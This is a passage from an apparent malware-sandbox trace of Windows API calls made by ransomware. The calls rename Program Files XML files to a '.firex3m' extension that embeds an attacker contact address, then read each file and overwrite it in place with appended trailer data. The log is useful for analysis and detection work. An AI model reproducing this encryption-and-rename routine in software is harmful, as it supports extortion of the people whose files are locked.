lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4f40 [0234.076] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0234.191] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0234.192] GetProcessHeap () returned 0x630000 [0234.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706b670 [0234.192] GetProcessHeap () returned 0x630000 [0234.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706b8b8 [0234.192] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.192] ReadFile (in: hFile=0x6e8, lpBuffer=0x706b670, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b670*, lpNumberOfBytesRead=0x36bff0c*=0x200, lpOverlapped=0x0) returned 1 [0234.195] GetProcessHeap () returned 0x630000 [0234.195] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0234.195] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.195] WriteFile (in: hFile=0x6e8, lpBuffer=0x706b8b8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b8b8*, lpNumberOfBytesWritten=0x36bff0c*=0x200, lpOverlapped=0x0) returned 1 [0234.195] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.195] WriteFile (in: hFile=0x6e8, lpBuffer=0x706bab7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706bab7*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.195] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.195] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.195] CloseHandle (hObject=0x6e8) returned 1 [0234.196] GetProcessHeap () returned 0x630000 [0234.196] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b8b8 | out: hHeap=0x630000) returned 1 [0234.196] GetProcessHeap () returned 0x630000 [0234.196] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b670 | out: hHeap=0x630000) returned 1 [0234.196] GetProcessHeap () returned 0x630000 [0234.196] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0235.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5189b568, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x36bfd20, dwReserved1=0x706b670, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0235.532] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.532] Sleep (dwMilliseconds=0x1) [0235.556] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x36bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml") returned 1 [0235.556] GetProcessHeap () returned 0x630000 [0235.556] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5020) returned 0x6fe3bb0 [0235.556] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0235.556] CloseHandle (hObject=0x5ec) returned 1 [0235.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.557] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5440 [0235.558] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0235.558] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0235.558] GetProcessHeap () returned 0x630000 [0235.558] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4000 [0235.558] GetProcessHeap () returned 0x630000 [0235.558] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0235.558] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.558] ReadFile (in: hFile=0x5ec, lpBuffer=0x6f4000, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4000*, lpNumberOfBytesRead=0x36bff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.561] GetProcessHeap () returned 0x630000 [0235.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0235.561] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.561] WriteFile (in: hFile=0x5ec, lpBuffer=0x6f3e48*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesWritten=0x36bff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.561] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.561] WriteFile (in: hFile=0x5ec, lpBuffer=0x6f3fc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc7*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.561] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.561] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.561] CloseHandle (hObject=0x5ec) returned 1 [0235.562] GetProcessHeap () returned 0x630000 [0235.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0235.562] GetProcessHeap () returned 0x630000 [0235.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4000 | out: hHeap=0x630000) returned 1 [0235.562] GetProcessHeap () returned 0x630000 [0235.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0235.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x525b84c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x36bfd20, dwReserved1=0x6f4000, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0235.562] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.562] Sleep (dwMilliseconds=0x1) [0235.580] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x36bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml") returned 1 [0235.580] GetProcessHeap () returned 0x630000 [0235.580] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5004) returned 0x6fe3bb0 [0235.580] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0235.581] CloseHandle (hObject=0x6f8) returned 1 [0235.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.581] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.582] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5240 [0235.582] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.582] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0235.582] GetProcessHeap () returned 0x630000 [0235.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3920 [0235.582] GetProcessHeap () returned 0x630000 [0235.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0235.582] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.583] ReadFile (in: hFile=0x6f8, lpBuffer=0x6f3920, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3920*, lpNumberOfBytesRead=0x36bff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.585] GetProcessHeap () returned 0x630000 [0235.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0235.585] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.585] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f3e48*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesWritten=0x36bff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.585] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.585] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f3fc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc7*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.586] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.586] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.586] CloseHandle (hObject=0x6f8) returned 1 [0235.586] GetProcessHeap () returned 0x630000 [0235.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0235.586] GetProcessHeap () returned 0x630000 [0235.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3920 | out: hHeap=0x630000) returned 1 [0235.586] GetProcessHeap () returned 0x630000 [0235.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0235.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x525de724, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x36bfd20, dwReserved1=0x6f3920, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e40 [0235.586] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0235.586] Sleep (dwMilliseconds=0x1) [0235.598] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x36bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml") returned 1 [0235.598] GetProcessHeap () returned 0x630000 [0235.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff4) returned 0x6fe3bb0 [0235.598] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.598] CloseHandle (hObject=0x430) returned 1 [0235.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.599] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0235.600] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.600] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.600] GetProcessHeap () returned 0x630000 [0235.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.600] GetProcessHeap () returned 0x630000 [0235.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.600] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.600] ReadFile (in: hFile=0x430, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x36bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.602] GetProcessHeap () returned 0x630000 [0235.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0235.602] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.602] WriteFile (in: hFile=0x430, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x36bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.602] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.602] WriteFile (in: hFile=0x430, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.603] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.603] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.603] CloseHandle (hObject=0x430) 